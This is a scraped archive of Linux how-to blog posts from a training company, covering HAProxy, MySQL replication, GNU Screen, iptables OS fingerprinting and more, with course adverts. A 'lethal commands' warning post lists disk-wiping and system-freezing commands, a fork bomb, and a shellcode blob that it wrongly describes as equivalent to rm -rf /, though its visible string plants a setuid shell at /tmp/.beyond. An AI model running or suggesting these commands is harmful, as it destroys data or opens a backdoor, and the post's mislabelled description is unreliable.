Monday, 24 November 2014

Failover and Load Balancing using HAProxy

HAProxy is open source proxy that can be used to enable high availability and load balancing for web applications. It was designed especially for high load projects so it is very fast and predictable, HAProxy is based on single-process model.
In this post I’ll describe sample setup of HAProxy: users’ requests are load balanced between two web servers Web1 and Web1, if one of them goes down then all the request are processed by alive server, once dead servers recovers load balancing enables again. See topology to the right.
HAProxy sample topology

Installation

HAProxy is included into repositories for major Linux distributions, so if you’re using Centos, Redhat or Fedora type the following command:
yum install haproxy
If you’re Ubuntu, Debian or Linux Mint user use this one instead:
apt-get install haproxy

Configuration

As soon as HAProxy is installed it’s time to edit its configuration file, usually it’s placed in /etc/haproxy/haproxy.cfg. Official documentation for HAProxy 1.4 (stable) is here.
Here is configuration file to implement setup shown at the diagram and described above:
global
        user daemon
        group daemon
        daemon
        log 127.0.0.1 daemon
 
listen http
        bind 1.2.3.4:80
        mode http
        option tcplog
 
        log global
        option dontlognull
 
        balance roundrobin
        clitimeout 60000
        srvtimeout 60000
        contimeout 5000
        retries 3
        server web1 web1.example.com:80 check
        server web2 web2.example.com:80 check
        cookie web1 insert nocache
        cookie web2 insert nocache
Let’s stop on most important parts of this configuration file. Section global specifies user and group which will be used to run haproxy process (daemon in our example). Line daemon tells HAProxy to run in background, log 127.0.0.1 daemon specifies syslog facility for sending logs from HAProxy.
Section listen http contains line bind 1.2.3.4:80 that specifies IP address and port that will be used to accept users’ requests (they will be load balanced between Web1 and Web2). Line mode http means that HAProxy will filter all requests different from HTTP and will do load balancing over HTTP protocol.
Line balance roundrobin specifies load balancing algorithm according to which each web server (Web1 and Web2) will be used in turns according to their weights. In our example weights for both servers are the same so load balancing is fair.
Lines server web1 … and server web2 … specify web servers for load balancing and failover, in our case they are load balanced according to round robin algorithm and have the same priority/weight.
The last two lines in configuration files are optional, they makes it possible to preserve cookies, it means for example that if you logged in to web application hosted at Web1 and then HAProxy forwarded your next request to Web2 you will still have logged in session opened as cookies with session id from Web1 will be sent to you from Web2 as well.

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

13 Linux lethal commands

In this post we will see all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.
NEVER RUN THESE COMMANDS IN LINUX BOX CLI!
Even if somebody advises you in forum/im to do it.
1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:
  • sudo rm -rf /
  • rm -rf .*
  • dd if=/dev/zero of=/dev/sda
  • mkfs.ext3 /dev/hda
  • whatever > /dev/hda
  • cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
  • find -type f -mtime +30 -exec mv {} /dev/null \;
  • mv ~ /dev/null
  • mv / /dev/null
2. Causes kernel panic or freezes Linux box:
    • dd if=/dev/random of=/dev/port
    • ){:|:&};: #also known as fork bomb
3. This one does the same as “rm -rf /”:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

Find location of the program in Ubuntu

It’s rather trivial task for people who use Ubuntu for a long time but newbies usually have problems with adding program to startup if location of the program is unknown or it is required to specify full path to the program somewhere e.g. when opening attachment in mail client. There are two most popular ways to find this out:
1. which gedit
2. type gedit
Both will show full path to certain program (gnome editor in our example): /usr/bin/gedit:
commands: which and type to locate the programs in Ubuntu

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

How to scrollback in GNU SCREEN?

Q: I was compiling kernel using GNU Screen utility but something happened during the compilation and I want to see full error’s output but I can’t just scrollback using Ctrl+PageUp. How to scrollback in GNU Screen?
A: In GNU Screen press Ctrl + a + [ to enter Copy Mode, then scroll up/down using keys j or k. Below are some other navigation keys:
h -    Move the cursor left by one character
j -    Move the cursor down by one line
k -    Move the cursor up by one line
l -    Move the cursor right by one character
0 -    Move to the beginning of the current line
$ -    Move to the end of the current line.
G -    Moves to the specified line
       (defaults to the end of the buffer).
C-u -  Scrolls a half page up.
C-b -  Scrolls a full page up.
C-d -  Scrolls a half page down.
C-f -  Scrolls the full page down.
By the way, in order to define scrollback buffer size start screen with the following key (5000 lines in this example):
screen -h 5000
Quick info about GNU Screen utility: it is Unix tool that allows to run multiple applications in several “virtual” windows. It is very useful when you need, let’s say, to see hardware resources consumption caused by started application in different console etc. GNU screen is also good option to run applications remotely via ssh: just run application in screen and log off until it’s finished, then just “pick up” screen session and see how the application’s output.
You can use activate copy mode of GNU Screen also by Ctrl + Esc that might be more useful than Ctrl + a + [ shortcut (thanks to Yu-Jie Lin for this tip).


For more Visit : http://www.quontrasolutions.com/blog/category/linux/

How to disable/remap a keyboard key in Linux?

Q: How can I disable one or several keys of my laptop keyboard in Linux? When I press DELETE key it gets stuck and deletes everything
A: No problem! You can use the following command to remap or disable any key of your keyboard:
xmodmap -e 'keycode <value>=<action>'
For example, run the following to disable your DELETE key: xmodmap -e 'keycode 107='. BTW you can get keycode that corresponds to certain keyboard button by using simple command xev


xev


The full list of available keycodes and actions assigned to them on UK keyboard is below…
keycode 8 =
keycode 9 = Escape
keycode 10 = 1 exclam
keycode 11 = 2 quotedbl
keycode 12 = 3 sterling
keycode 13 = 4 dollar
keycode 14 = 5 percent
keycode 15 = 6 asciicircum
keycode 16 = 7 ampersand
keycode 17 = 8 asterisk
keycode 18 = 9 parenleft
keycode 19 = 0 parenright
keycode 20 = minus underscore
keycode 21 = equal plus
keycode 22 = Delete
keycode 23 = Tab
keycode 24 = Q
keycode 25 = W
keycode 26 = E
keycode 27 = R
keycode 28 = T
keycode 29 = Y
keycode 30 = U
keycode 31 = I
keycode 32 = O
keycode 33 = P
keycode 34 = bracketleft braceleft
keycode 35 = bracketright braceright
keycode 36 = Return
keycode 37 = Control_L
keycode 38 = A
keycode 39 = S
keycode 40 = D
keycode 41 = F
keycode 42 = G
keycode 43 = H
keycode 44 = J
keycode 45 = K
keycode 46 = L
keycode 47 = semicolon colon
keycode 48 = apostrophe at
keycode 49 = grave asciitilde
keycode 50 = Shift_L
keycode 51 = numbersign asciitilde
keycode 52 = Z
keycode 53 = X
keycode 54 = C
keycode 55 = V
keycode 56 = B
keycode 57 = N
keycode 58 = M
keycode 59 = comma less
keycode 60 = period greater
keycode 61 = slash question
keycode 62 = Shift_R
keycode 63 = KP_Multiply
keycode 64 = Alt_L
keycode 65 = space
keycode 66 = Caps_Lock
keycode 67 = F1
keycode 68 = F2
keycode 69 = F3
keycode 70 = F4
keycode 71 = F5
keycode 72 = F6
keycode 73 = F7
keycode 74 = F8
keycode 75 = F9
keycode 76 = F10
keycode 77 = Num_Lock
keycode 78 = Scroll_Lock
keycode 79 = Home KP_7 KP_7 Home
keycode 80 = Up KP_8 KP_8 Up
keycode 81 = Prior KP_9 KP_9 Prior
keycode 82 = KP_Subtract
keycode 83 = Left KP_4 KP_4 Left
keycode 84 = Begin KP_5 KP_5 Begin
keycode 85 = Right KP_6 KP_6 Right
keycode 86 = KP_Add
keycode 87 = End KP_1 KP_1 End
keycode 88 = Down KP_2 KP_2 Down
keycode 89 = Next KP_3 KP_3 Next
keycode 90 = Insert KP_0 KP_0 Insert
keycode 91 = Delete KP_Decimal KP_Decimal Delete
keycode 92 = 0x1007ff00
keycode 93 =
keycode 94 = backslash bar
keycode 95 = F11
keycode 96 = F12
keycode 97 = Home
keycode 98 = Up
keycode 99 = Prior
keycode 100 = Left
keycode 101 = Begin
keycode 102 = Right
keycode 103 = End
keycode 104 = Down
keycode 105 = Next
keycode 106 = Insert
keycode 107 = Delete
keycode 108 = KP_Enter
keycode 109 = Control_R
keycode 110 = Pause
keycode 111 = Print
keycode 112 = KP_Divide
keycode 113 = Mode_switch
keycode 114 = Break

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

Quick copy/paste MySQL Replication Manual

This quick manual tells how to set up database replication in MySQL. Basically it was written for 5.* MySQL versions but is also applicable for 3.23/4.0 ones (btw they are still in use, believe me).
As you might already know, replication allows you to create a copy of certain MySQL database from a master server on another server (slave). What is the most important, all updates made to that database on master server will be replicated to the database on the slave server immediately, so that both databases are synchronized almost in real time mode (if you need completely real-time synchronization/mirroring, the only solution is to deploy MySQL cluster).
One of the main issues is that replication features coming out-of-the-box with Open Source MySQL software don’t provide full back/forward compatibility. This means that you can easily replicate data from master and slave of the same MySQL versions only e.g. 5.0. But if you like to replicate database from 5.0 master to 4.0 slave (or from 3.23 master to 5.0 slave), it is not possible in most cases.
From the beginning we have two Linux boxes with MySQL installed (5.0.27 version in my example), server has database reptest we need to replicate to slave.
A. Configure Master:
Configure MySQL to accept incoming connections from another hosts in the network. In order to do it, comment the following lines in /etc/my.cnf (exact location depends on Linux distribution you use) as follows:
#skip-networking
#bind-address=127.0.0.1
and restart MySQL by “/etc/init.d/mysql restart” or “mysqladmin reload” command. Make sure that slave can access master’s MySQL via network (e.g. execute on slave “telnet <server_ip> 3306“).
The next step is to configure master to log all database changes into binary log that will be used by slave for replicating, add the following lines to /etc/my.cnf in [mysqld] section:
log_bin = mysql-bin
binlog-do-db=reptest
server-id=1
Then restart MySQL and log on to its shell with root rights:
/etc/init.d/mysql restart
mysql -u root -p
Enter password:
Type in MySQL shell the following commands:
GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'slave_password';
FLUSH PRIVILEGES;
Note: If you use 4.0 MySQL or older, you need to replace REPLICATION SLAVE in above line to FILE, so the lines will look like:
GRANT FILE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'slave_password';
FLUSH PRIVILEGES;
The next commands are:
USE reptest;
FLUSH TABLES WITH READ LOCK;
SHOW MASTER STATUS;
The last command should provide the following output we will use later on slave server:
mysql> SHOW MASTER STATUS;
+---------------+----------+-----------------+------------------+
| File          | Position | Binlog_do_db    | Binlog_ignore_db |
+---------------+----------+-----------------+------------------+
| mysql-bin.001 |   73     | reptest         |                  |
+---------------+----------+-----------------+------------------+
1 row in set (0.00 sec)
Now quit from MySQL shell as we need to prepare current dump of reptest database: quit.
Now, run from shell “mysqldump -u root -p --opt reptest > reptest.sql” and transfer reptest.sql file to slave server.
2. Configure Slave:
Create reptest database:
mysqladmin create reptest
and apply previously created/transfered dump to it via command:
mysql -u root -p reptest < /path/to/reptest.sql
Now edit /etc/my.cnf on slave and add the following lines to [mysqld] section:
server-id=2
master-host=192.168.0.1
master-user=slave_user
master-password=slave_password
master-connect-retry=60
replicate-do-db=reptest
where 192.168.0.1 is IP address of the server and server-id is unique ID assigned to slave Linux box.
Now restart MySQL with /etc/init.d/mysql restart and log on MySQL shell:
mysql -u root -p reptest
Enter password:
The next step is to apply changes saved in binary log on server:
SLAVE STOP;
CHANGE MASTER TO MASTER_HOST='192.168.0.1', MASTER_USER='slave_user', MASTER_PASSWORD='slave_password', MASTER_LOG_FILE='mysql-bin.001', MASTER_LOG_POS=73;
SLAVE START;
Now whenever reptest is updated on the master, all changes will be replicated to reptest on the slave.

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

Set Linux Gateway

One can say that it is rather trivial task to set Linux gateway (or in other words to set up/change default gateway in Linux operating system) but I noticed that this question is one of the most popular among linux newbies so I decided to post a quick tip here on Linux Screw.
There are two most used ways to set up default gateway using Linux console. Of course modern linux distributions comes with graphical tools and programs for this purpose but old school CLI commands will live forever as are very simple and allow to do the job very quickly:
route add default gw 10.0.0.1
where 10.0.0.1 is IPv4 IP address of default gatway you would like to set up in your Linux.
ip route add default via 10.0.0.1
According to general networking recommendation it is a good practice to have gateway’s IP as the last IP from selected pool so very often default gateway’s IP will end with .254 e.g. 10.0.0.254. Anyway using above mentioned commands you can apply ANY default gateway. By the way, if you’d like to delete current default gateway, here is corresponding command:
route del default
Hope it helps!
P.S. Don’t forget that these commands require root previleges.

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

Change MAC address of network interface in Linux Presented By QuontraSolutions

Well, thankfully this is rather trivial task for Linux and you can change MAC address of your network adapter using a few CLI/console commands. Honestly speaking it is impossible to literally change MAC address as it’s loaded into firmware but you can configure Linux so it will transform old MAC to the new one the fly.
The commands are are below but before typing them let’s consider why one might need this. One of the simplest examples is here: you acquire IP address, gateway, DNS entries via DHCP server which is set up to give out your IP settings to your MAC address only so if you change [possibly broken] network adapter you will need to ask sysadmin to change DHCP server’s settings… If this looks familiar to you, just type the following commands with sudo prefix or under superuser/root:
ifconfig eth0 down
ifconfig eth0 hw ether 00:19:7e:53:8c:a3
ifconfig eth0 up
eth0 – is hardware name of your network interface, you can use ip link to see all available interfaces identified by your system.
00:19:7e:53:8c:a3 is new MAC address you’d like to apply to the NIC.
These commands should be added into startup scripts if you require them to appear after Linux system reboots. This works on any distribution like Fedora, Ubuntu, Debian, RedHat, Suse whatever.

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

FAQ: How to block/allow packets sent by specific Operating System with iptables?

Question: How can I block traffic coming from specific operating system in Linux? In other words, how can I block traffic from Windows users on my firewall and allows other people?
Answer: There is an iptables module named OSF (passive OS Fingerprinting) that was written by Evgeniy Polyakov. This module allows passively detect OS packet was sent from and perform various netfilter actions based on this match. Packets with SYN bit set are analyzed.
In order to install OSF module, do the following:
1. Download latest release from here, for example as follows:
wget http://tservice.net.ru/~s0mbre/archive/osf/osf-2008_06_14.tar.gz
2. Edit Makefile from unpacked archive in order to set proper path to iptables headers (iptables.h and libiptc/ dir).
3. If your kernel sources can not be accessed via /lib/modules/$(shell uname -r)/build, you have to replace KDIR variable with the correct path to kernel sources.
4. Run make that should build ipt_osf.ko kernel module.
5. Run make lib that will build libipt_osf.so shared library (copy it to where all other iptables shared libs are placed in your distro e.g. /lib/iptables or /lib64/iptables in Fedora).
6. Run make bin that will build userspace applications which allows to load fingerprints and obtain information about matched packets (load, osfd, ucon_osf).
7. Download signatures list:
wget http://www.openbsd.org/cgi-bin/cvsweb/src/etc/pf.os
8. Install kernel module:
insmod ./ipt_osf.ko
9. Load signatures:
./load ./pf.os /proc/sys/net/ipv4/osf
10. Set up iptables rules allowing/disallowing packets generated by certain OS:
iptables -I INPUT -j ACCEPT -p tcp -m osf --genre Linux --log 0 --ttl 2
This example allows traffic from Linux systems and logs packets from other ones:
ipt_osf: Windows [2000:SP3:Windows XP Pro SP1, 2000 SP3]: 11.22.33.55:4024 -> 11.22.33.44:139
BTW, OSF has following options:
  • –log
    If present, OSF will log determined genres even if they don’t match desired one.
    0 – log all matched and unknown entries.
    1 – only first one.
    2 – log all matched entries.
  • –ttl
    0 – true ip and fingerprint TTL comparison. Works for LAN.
    1 – check if ip TTL is less than fingerprint one. Works for global addresses.
    2 – do not compare TTL at all. Allows to detect NMAP, but can produce false results.
  • –connector
    If present, OSF will log all events also through netlink connector(1.0 id).
    More about connector can be found in Documentation/connector in kernel source tree.
For more Visit : http://www.quontrasolutions.com/blog/category/linux/

FAQ: How to set up atomatic Linux reboot if kernel panic occurs?

Question: How can I get my Linux server rebooted/restarted automatically if it caught a kernel panic?
Answer: As you might know, kernel panic is an action taken by an operating system upon detecting an internal fatal error from which it cannot safely recover; the term is largely specific to Unix and Unix-like systems (it’s a wiki’s description).
By default Linux wouldn’t not reboot after panic occurs, but the following option of sysctl will cause a kernel to reboot after N seconds you specify. In our example server will be rebooted in 15 seconds if kernel panic stopped its operation:
1. Open sysctl’s configuration file:
sudo nano /etc/sysctl.conf
2. Add there the following line:
kernel.panic = 15
or
1. Execute the following command:
/sbin/sysctl -w kernel.panic=15

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

Tuesday, 4 November 2014

Install Ubuntu Chromium browser (Google Chrome for Linux) | Quontra Solutions

One of the easiest way to try Chromium browser in Ubuntu Linux (Google Chrome browser for Unix/Linux operating system is named as Chromium) is to use daily binary builds at https://launchpad.net/chromium-project. Today Ubuntu is the most popular Linux disributions for desktops so there are daily builds available for the following Ubuntu versions: hardy, intrepid, jaunty, karmic.
First let your Ubuntu know where it should find chromium-browser deb package:
vi /etc/apt/sources.list
add the following lines:
deb http://ppa.launchpad.net/chromium-daily/ppa/ubuntu jaunty main
deb-src http://ppa.launchpad.net/chromium-daily/ppa/ubuntu jaunty main
Replace jaunty with hardy, intrepid or karmic depending which version you run at your computer. If you feel this information is not sufficient for you, follow this link to get Ubuntu official information on this matter or follow Launchpad help.
The next step is to install Chromium browser:
sudo apt-get update
sudo apt-get install chromium-browser
or
sudo aptitude install chromium-browser
Once you press enter Ubuntu will download around 18 MB of data from launchpad’s server and will install Chromium with gnome menu entries and shortcuts. Now you can go to System menu –> Internet –> Chromium Web Browser in order to launch Google browser.
Ubuntu Chromium (google chrome for linux)
Ubuntu Chromium Google browser (Google Chrome Ubuntu)
As you might know there is still no official release of chromium/chrome available for Linux, so these daily builds from launchpad are for testing/observations purposes only. For example, there is no flash plugin available so you will be able to see html pages like this one and no swf/flash content. Anyway thanks to Google for great browser which has all chances to become “browser number one” for Linux or even for the rest of operating system such as Windows or Mac.

Attend Free Demo before joining the course.
Gain hands on Real time project work Experience from experienced professionals to land into IT jobs
Quontra Solutions
Call Us:
US: +1 (404)-900-9988.
UK:      (20) 3734 1498.
 

Top 3 Linux HTML editors | Quontra Solutions

You may think that nowadays nobody uses offline editors as there are so many content management systems (CMS) like Drupal (my favourite one), WordPress, Joomla etc. which contain embedded visual html editors. But today it is sure that sometimes it’s real pain to draw a 10×20 table using WordPress’s editor…
Text editors like gedit, emacs, nano or vi will certainly live forever but thankfully there are numerous visual html editors for my Ubuntu . They are sometimes called WYSIWYG editors, it mean “What You See Is What You Get”.
1. Quanta Plus
This is KDE/Qt visual html editor available as binary package for numerous Linux distributions
including Debian and Ubuntu. From developers’ site:
Quanta Plus is a highly stable and feature rich web development environment.
The vision with Quanta has always been to start with the best architectural
foundations, design for efficient and natural use and enable maximal user
extensibility.
In order to install it in Debian/Ubuntu run the following CLI command:
sudo apt-get install quanta
Fedora, Centos, Redhat users type this:
sudo yum install kdewebdev
I found Quanta html editor extremely useful, this is just an outstanding application of this
field.
2. Bluefish
Bluefish HTML editor logoBluefish is a powerful editor targeted towards programmers and webdesigners,
with many options to write websites, scripts and programming code. Bluefish
supports many programming and markup languages, and it focuses on editing
dynamic and interactive websites.
I found this really versatile html editor. Besides HTML/CSS it handles C,
Java, Perl, Python, XML and others.
Ubuntu and Debian users type:
sudo apt-get install bluefish
Fedora/Redhat/Centos:
sudo yum install bluefish
Gentoo:
emerge bluefish
3. Screem
SCREEM is a web development environment. It’s purpose is to increase
productivity when constructing a site, by providing quick access to commonly
used features. While it is written for use with the GNOME desktop environment
in mind it does not specifically require you to be running it, just have the
libraries installed.
This is one of the most user-friendly Gnome HTML editor. Its simple interface
brings extremely powerfull HTML editor so if like minimalistic design Screem
is your choice.


Attend Free Demo before joining the course.
Gain hands on Real time project work Experience from experienced professionals to land into IT jobs
Quontra Solutions
Call Us:
US: +1 (404)-900-9988.
UK:      (20) 3734 1498.

Failover and Load Balancing using HAProxy | Quontra Solutions



HAProxy is open source proxy that can be used to enable high availability and load balancing for web applications. It was designed especially for high load projects so it is very fast and predictable, HAProxy is based on single-process model.
In this post I’ll describe sample setup of HAProxy: users’ requests are load balanced between two web servers Web1 and Web1, if one of them goes down then all the request are processed by alive server, once dead servers recovers load balancing enables again. See topology to the right.
HAProxy sample topology

Installation

HAProxy is included into repositories for major Linux distributions, so if you’re using Centos, Redhat or Fedora type the following command:
yum install haproxy
If you’re Ubuntu, Debian or Linux Mint user use this one instead:
apt-get install haproxy

Configuration

As soon as HAProxy is installed it’s time to edit its configuration file, usually it’s placed in /etc/haproxy/haproxy.cfg. Official documentation for HAProxy 1.4 (stable) is here.
Here is configuration file to implement setup shown at the diagram and described above:
global
        user daemon
        group daemon
        daemon
        log 127.0.0.1 daemon
 
listen http
        bind 1.2.3.4:80
        mode http
        option tcplog
 
        log global
        option dontlognull
 
        balance roundrobin
        clitimeout 60000
        srvtimeout 60000
        contimeout 5000
        retries 3
        server web1 web1.example.com:80 check
        server web2 web2.example.com:80 check
        cookie web1 insert nocache
        cookie web2 insert nocache
Let’s stop on most important parts of this configuration file. Section global specifies user and group which will be used to run haproxy process (daemon in our example). Line daemon tells HAProxy to run in background, log 127.0.0.1 daemon specifies syslog facility for sending logs from HAProxy.
Section listen http contains line bind 1.2.3.4:80 that specifies IP address and port that will be used to accept users’ requests (they will be load balanced between Web1 and Web2). Line mode http means that HAProxy will filter all requests different from HTTP and will do load balancing over HTTP protocol.
Line balance roundrobin specifies load balancing algorithm according to which each web server (Web1 and Web2) will be used in turns according to their weights. In our example weights for both servers are the same so load balancing is fair.
Lines server web1 … and server web2 … specify web servers for load balancing and failover, in our case they are load balanced according to round robin algorithm and have the same priority/weight.
The last two lines in configuration files are optional, they makes it possible to preserve cookies, it means for example that if you logged in to web application hosted at Web1 and then HAProxy forwarded your next request to Web2 you will still have logged in session opened as cookies with session id from Web1 will be sent to you from Web2 as well





Attend Free Demo before joining the course.
Gain hands on Real time project work Experience from experienced professionals to land into IT jobs
Quontra Solutions
Call Us:
US: +1 (404)-900-9988.
UK:      (20) 3734 1498.